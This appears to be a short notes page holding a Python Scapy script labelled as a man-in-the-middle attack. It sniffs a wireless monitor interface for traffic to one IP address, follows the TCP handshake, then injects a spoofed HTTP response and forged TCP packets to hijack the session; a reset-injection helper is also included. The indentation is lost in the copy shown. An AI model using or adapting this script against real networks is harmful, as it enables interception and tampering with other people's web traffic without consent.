Script for man in the middle attack
```python=
from scapy.all import *
from scapy.all import Ether,IP,TCP
from scapy.layers.http import HTTPRequest
def reply(p):
packet = Ether(dst=p.addr2)/IP(src=p[IP].dst,dst=p[IP].src)/TCP(sport=p[TCP].dport,ack=1+p[TCP].seq,dport=p[TCP].sport,flags='RA')
sendp(packet, iface='wlxac15a2af1bf9')
state="Waiting"
src=""
dst=""
sport=""
dport=""
seq=0
ack=0
def fake_http(p):
global state,src,dst,sport,dport,seq,ack
resp = "HTTP/1.1 200 OK\r\n"
resp += "Content-Type: text/html\r\n"
resp += "Content-Length: 15\r\n"
resp += "\r\n"
resp += "<h1>coucou</h1>"
packet=Ether(dst=p.addr1)/IP(src=dst,dst=src)/TCP(sport=dport,dport=sport,flags='PA',seq=seq,ack=ack)/resp
return packet
def man_in_the_middle(p):
global state,src,dst,sport,dport,seq,ack
if (p[TCP].flags=="S"):
src=p[IP].src
dst=p[IP].dst
sport=p[TCP].sport
dport=p[TCP].dport
state="SYN_RCVD"
print(src,dst,sport,dport)
print(state)
elif (state=="SYN_RCVD") and (p[IP].src==dst) and (p[IP].dst==src) and (p[TCP].sport==dport) and (p[TCP].dport==sport) and (p[TCP].flags=="SA"):
print(state)
state="SYN_ACK_RCVD"
elif (state=="SYN_ACK_RCVD") and (p[IP].src==src) and (p[IP].dst==dst) and (p[TCP].sport==sport) and (p[TCP].dport==dport) and (p[TCP].flags=="A"):
print(state)
state="ACK_SENT"
elif (state=="ACK_SENT") and (p[IP].src==src) and (p[IP].dst==dst) and (p[TCP].sport==sport) and (p[TCP].dport==dport):
state="QUERY_SENT"
print(state)
elif (state=="QUERY_SENT") and (p[IP].src==dst) and (p[IP].dst==src) and (p[TCP].sport==dport) and (p[TCP].dport==sport):
seq=p[TCP].seq
ack=p[TCP].ack
print(state)
packet= fake_http(p)
sendp(packet, iface='wlxac15a2af1bf9')
packet=Ether(dst=p.addr1)/IP(src=dst,dst=src)/TCP(sport=dport,dport=sport,flags='F',seq=seq+1)
sendp(packet, iface='wlxac15a2af1bf9')
sendp(packet, iface='wlxac15a2af1bf9')
dst=""
src=""
sport=""
dport=""
seq=0
state='Waiting'
sniff(iface='wlp0s20f3mon', filter='host 159.65.58.222', prn=man_in_the_middle)
```